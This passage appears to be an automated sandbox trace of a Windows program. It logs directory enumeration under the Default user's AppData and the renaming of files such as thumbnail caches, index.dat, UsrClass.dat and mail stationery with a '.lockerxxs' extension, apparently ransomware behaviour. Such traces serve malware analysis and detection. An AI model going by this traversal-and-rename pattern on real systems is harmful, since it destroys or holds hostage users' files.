ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd856f385, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4e0244, dwReserved1=0x4e0000, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.547] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4fa57c, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.548] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf73e9a4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.548] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Media Player\\Sync Playlists\\en-US\\00010C6E\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6666440, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf740fbac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502718 [0092.555] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x66d8860, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d1d5e4e, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x63006e, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.557] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.557] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Burn\\Burn\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x165f8f7, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.559] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Caches\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xeb4bd20c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.559] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66402e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x182897a, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.564] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_1024.db.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_1024.db.lockerxxs")) returned 1 [0092.601] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db.lockerxxs")) returned 1 [0092.604] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_32.db.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_32.db.lockerxxs")) returned 1 [0092.605] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_96.db.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_96.db.lockerxxs")) returned 1 [0092.609] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db.lockerxxs")) returned 1 [0092.610] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_sr.db.lockerxxs")) returned 1 [0092.611] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\GameExplorer\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaef3b9d6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xeb0001ea, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.612] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe75c620, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.617] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e4d86f4, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fa582, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.624] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\History.IE5\\index.dat.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\history\\history.ie5\\index.dat.lockerxxs")) returned 1 [0092.626] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0001ec, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.626] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Ringtones\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96dfdac, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f004c, dwReserved1=0x77, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.626] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe7364c0, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.629] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x661a180, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.639] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\index.dat.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\temporary internet files\\content.ie5\\index.dat.lockerxxs")) returned 1 [0092.641] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\MM5O9XQS\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750061, dwReserved1=0x74006c, cFileName=".", cAlternateFileName="")) returned 0x502718 [0092.644] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\PMMR5K9K\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0092.647] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\RIJUQL1C\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0092.650] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\X9OHK109\\*.*", lpFindFileData=0x18f268 | out: lpFindFileData=0x18f268*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x65f4020, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3e5e3095, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502718 [0092.654] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedb45673, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4fa5a4, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.655] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Virtualized\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xedd0e6f6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.667] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\UsrClass.dat.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows\\usrclass.dat.lockerxxs")) returned 1 [0092.674] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4ff592, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.675] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ERC\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1b9b8e9c, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8c001b, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.675] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows\\WER\\ReportArchive\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2810, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4d26e3cf, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.675] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd774d0cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x450057, dwReserved1=0x52, cFileName=".", cAlternateFileName="")) returned 0x502658 [0092.681] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf303882f, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4fa57c, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.681] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Backup\\new\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x66b2700, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2f7a14e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5014e8, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0092.686] FindFirstFileA (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x650f7e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf690d5d8, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f370, dwReserved1=0x4fa57c, cFileName=".", cAlternateFileName="")) returned 0x502698 [0092.692] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.htm.lockerxxs")) returned 1 [0092.697] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Bears.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\bears.jpg.lockerxxs")) returned 1 [0092.700] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.htm.lockerxxs")) returned 1 [0092.705] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Garden.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\garden.jpg.lockerxxs")) returned 1 [0092.709] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Green Bubbles.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\green bubbles.htm.lockerxxs")) returned 1 [0092.714] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\GreenBubbles.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\greenbubbles.jpg.lockerxxs")) returned 1 [0092.717] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Hand Prints.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\hand prints.htm.lockerxxs")) returned 1 [0092.721] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\HandPrints.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\handprints.jpg.lockerxxs")) returned 1 [0092.725] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Orange Circles.htm.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orange circles.htm.lockerxxs")) returned 1 [0092.729] MoveFileA (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\OrangeCircles.jpg.lockerxxs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\orangecircles.jpg.lockerxxs")) returned 